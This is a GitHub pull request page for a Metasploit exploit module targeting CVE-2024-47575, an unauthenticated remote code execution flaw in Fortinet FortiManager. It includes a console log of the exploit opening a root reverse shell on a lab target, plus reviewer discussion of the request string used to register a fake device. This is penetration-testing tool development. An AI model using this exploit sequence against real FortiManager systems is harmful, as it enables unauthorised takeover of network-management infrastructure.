Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add an exploit module for FortiManager (CVE-2024-47575) #19648

Open
wants to merge 16 commits into
base: master
Choose a base branch
from

Conversation

sfewer-r7
Copy link
Contributor

@sfewer-r7 sfewer-r7 commented Nov 14, 2024

This (draft) pull request adds an exploit module for CVE-2024-47575, an unauth RCE in Fortinet FortiManager, due to missing authentication for critical function(s).

For a full technical analysis of the vuln/exploit, please see our AttackerKB Rapid7 Analysis:

To-Do

  • Sort out how best to handle certificates. Looks like watchTowr have published a cert/key pair which can probably be used as a default, Found a suitable cert/key pair to use by default, and then we can have a config option so the user can specify a custom cert/key pair if they prefer.
  • Review the check routine. Currently it verifies the target service by performing a minimal interaction with a target. It pulls the peers SSL cert and examines the Organization and serial number to see if it looks like a FortiManager device. I wanted to avoid high interaction (like actually triggering the vuln) which would leave IOCs, but the current method can only return CheckCode::Detected.
  • Documentation

Example

Target was FortiManager 7.6.0.

msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > exploit

[*] Started reverse TCP handler on 192.168.86.42:4444 
[*] 192.168.86.93:541 - Client certificate common name: ****************
[*] 192.168.86.93:541 - Using client serial number: ****************
[*] 192.168.86.93:541 - Using client platform: FortiGate-VM64
[*] 192.168.86.93:541 - Connecting...
[*] 192.168.86.93:541 - Registering device...
[*] 192.168.86.93:541 - Creating channel...
[*] 192.168.86.93:541 - Triggering...
[*] Meterpreter session 5 opened (192.168.86.42:4444 -> 192.168.86.93:61402) at 2024-11-14 18:52:57 +0000

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 192.168.86.93
OS           :  (Linux 5.15.109)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

…is then matcheds up with ClientSerialNumber and ClientPlatform, which is clearer IMHO. Also, we explicitly create a Rex TCP socket, so these param names no longer collide with what a mixin would use

print_status('Registering device...')

req1 = "get auth\r\nserialno=#{serial_number}\r\nplatform=#{platform}\r\nhostname=localhost\r\n\r\n\x00"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think using a heredoc here will improve readability.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I like the idea of improving the readability of this, but I would like to be more explicit about the placement of the \r\n delimitators, and a heredoc makes this awkward, for example:

req1 = %Q{get auth\r
serialno=#{serialno}\r
platform=#{platform}\r
hostname=localhost\r
\r
\0}

Perhaps a happy medium is something like this:

req1 = [
  'get auth',
  "serialno=#{serialno}",
  "platform=#{platform}",
  'hostname=localhost',
  "\r\n\x00"
].join("\r\n")

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yup, looks better I think!

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Just to throw in votes; I'm in favor of the original as it's more explicit and it's not too hard to grok 😄

@sfewer-r7 sfewer-r7 marked this pull request as ready for review November 15, 2024 17:45
…onal, and we dont specify a default, we can omit the nil default value.
…owkr close the socket after we get a session, and will wait up to WfsDelay for that to happen. This lets us remove the other timeout we had, and teh user can always adjust WfsDelay if needed. (Thanks Spencer)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

4 participants